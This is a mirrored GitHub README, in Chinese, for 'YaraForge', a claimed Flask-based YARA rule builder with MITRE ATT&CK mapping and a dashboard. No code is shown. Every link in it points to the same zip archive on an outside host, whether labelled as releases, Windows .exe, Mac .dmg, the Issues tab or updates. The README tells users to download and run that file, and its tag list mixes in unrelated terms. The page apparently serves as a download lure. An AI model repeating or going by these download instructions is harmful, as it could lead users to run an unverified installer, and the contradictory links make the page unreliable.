Ye-cyber-cell/YaraForge
GitHub: Ye-cyber-cell/YaraForge
一款基于 Flask 的 YARA 规则可视化构建与测试平台,集成 MITRE ATT&CK 映射和实时检测仪表板。
Stars: 0 | Forks: 0
# 🛠️ YaraForge - 简易 YARA 规则构建与测试
[](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)
## 📝 YaraForge 是什么?
YaraForge 是一款旨在帮助您创建、管理和测试 YARA 规则的工具。YARA 规则用于查找和识别符合特定模式的文件或进程。这有助于检测您计算机或网络上的恶意软件或可疑活动。
YaraForge 通过提供用户友好的方式来构建这些规则,从而简化了操作。您不需要是程序员,也不需要懂复杂的代码。您还可以使用名为 MITRE ATT&CK 的映射系统,查看您的检测规则与已知网络威胁的关联。最后,您可以通过一个简单的仪表板实时查看检测结果。
该程序使用 Python 和 Flask 构建。您不需要了解这些技术即可使用 YaraForge,但这些技术有助于保持其快速和可靠。
## ⚙️ 功能特性
- **可视化构建 YARA 规则**
逐步创建检测规则,无需从头编写代码。
- **即时测试规则**
在示例文件或您自己的数据上尝试规则,以检查它们是否有效。
- **MITRE ATT&CK 映射**
查看您的规则如何与已知的网络攻击技术相关联。
- **检测仪表板**
以清晰有序的方式查看您的检测结果。
- **规则管理**
在一个地方轻松保存、编辑和删除规则。
- **用户友好界面**
专为几乎没有技术背景的用户设计。
## 💻 系统要求
要使用 YaraForge,您的计算机应满足以下最低要求:
- 操作系统:Windows 10 或更高版本,macOS 10.14 或更高版本,或最新的 Linux 版本(推荐 Ubuntu 18.04+)
- 处理器:任何现代处理器(Intel i3 或更高)
- 内存 (RAM):至少 4 GB
- 磁盘空间:最少 500 MB 可用存储空间
- 网络:互联网连接,用于下载和更新规则
- 浏览器:现代网络浏览器(Chrome、Firefox、Edge 或 Safari)
YaraForge 作为 Web 应用程序在您的机器上运行,因此安装后您只需要浏览器即可与其交互。
## 🚀 快速入门
### 步骤 1:访问下载页面
点击顶部的大按钮或访问:
[https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)
此页面托管供下载的最新版本 YaraForge。
### 步骤 2:选择您的下载内容
在发布页面上,找到最新版本。寻找与您的操作系统匹配的安装程序:
- Windows 用户:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip`
- Mac 用户:下载 `https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip`
- Linux 用户:下载相应的软件包或源代码(如果可用)
### 步骤 3:下载安装程序
点击您文件的下载链接。您的浏览器会将其保存到计算机的默认“下载”文件夹或您指定的位置。
### 步骤 4:运行安装程序
打开下载的文件以开始安装过程。
- 在 Windows 上,双击 `.exe` 文件并按照安装向导操作。
- 在 Mac 上,打开 `.dmg` 文件,然后将 YaraForge 应用程序拖到您的 Applications 文件夹。
- 在 Linux 上,请遵循提供的 README 说明或使用可用的安装命令。
### 步骤 5:启动 YaraForge
安装后,打开应用程序:
- Windows 和 Mac:在开始菜单或 Applications 文件夹中找到 YaraForge。
- Linux:通过终端或提供的菜单快捷方式启动。
这将打开一个新的浏览器窗口或选项卡,显示在您计算机本地运行的 YaraForge 界面。
### 步骤 6:开始使用 YaraForge
从主屏幕开始,您可以构建新的 YARA 规则、测试现有规则并探索仪表板。
## 📥 下载与安装
您始终可以在此处访问最新版本:
[下载 YaraForge - Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)
请按照上述下载和安装步骤进行操作,以获得顺畅的设置体验。
## 🛠️ 如何使用 YaraForge
### 创建新规则
1. 在主屏幕上点击 **“Create Rule”**。
2. 输入规则名称和描述。
3. 使用引导式表单添加您想要检测的条件、字符串或模式。
4. 保存您的规则。
### 测试规则
1. 从列表中选择一个规则。
2. 上传示例文件或选择要测试的数据。
3. 点击 **“Run Test”**。
4. 查看结果以了解规则是否匹配到任何内容。
### 使用 MITRE ATT&CK 映射
- 每个规则都可以链接到特定的攻击技术以提供上下文。
- 这有助于安全团队了解潜在威胁。
### 查看您的仪表板
- 在一个地方查看所有检测结果。
- 按规则、日期或严重程度进行筛选。
## 🔑 最佳使用技巧
- 根据新威胁定期更新您的规则。
- 使用仪表板实时监控检测活动。
- 在部署到生产环境之前,彻底测试新规则。
- 使用 MITRE ATT&CK 映射使规则与行业标准保持一致。
## 🆘 获取帮助
如果您遇到问题:
- 查看仓库的 Issues 标签页以获取解决方案:
[https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)
- 阅读应用程序附带或在线的文档。
- 通过 GitHub 联系社区或维护者。
## 🔐 隐私与安全
YaraForge 在您的系统上本地运行。除非您选择共享,否则您的数据和规则将保留在您的机器上。默认情况下不会发送或收集任何个人信息。
## 🔄 更新
定期查看发布页面以获取新版本:
[https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/f987b7ff10135744.zip)
更新可能包括错误修复、新功能和改进的规则支持。
## 🏷️ 标签
cybersecurity, detection-engineering, flask, mitre-attack, purple-team, python, security-tools, soc, threat-detection, yara
标签:Cloudflare, Flask, GET 请求, MITRE ATT&CK, Mutation, Python, Sysmon, YARA, 云资产可视化, 低代码, 可视化, 威胁情报, 子域名暴力破解, 安全运营, 实时仪表盘, 开发者工具, 扫描框架, 文件识别, 无后门, 模式匹配, 网络安全, 自动化检测, 自动化资产收集, 规则构建, 规则测试, 逆向工具, 隐私保护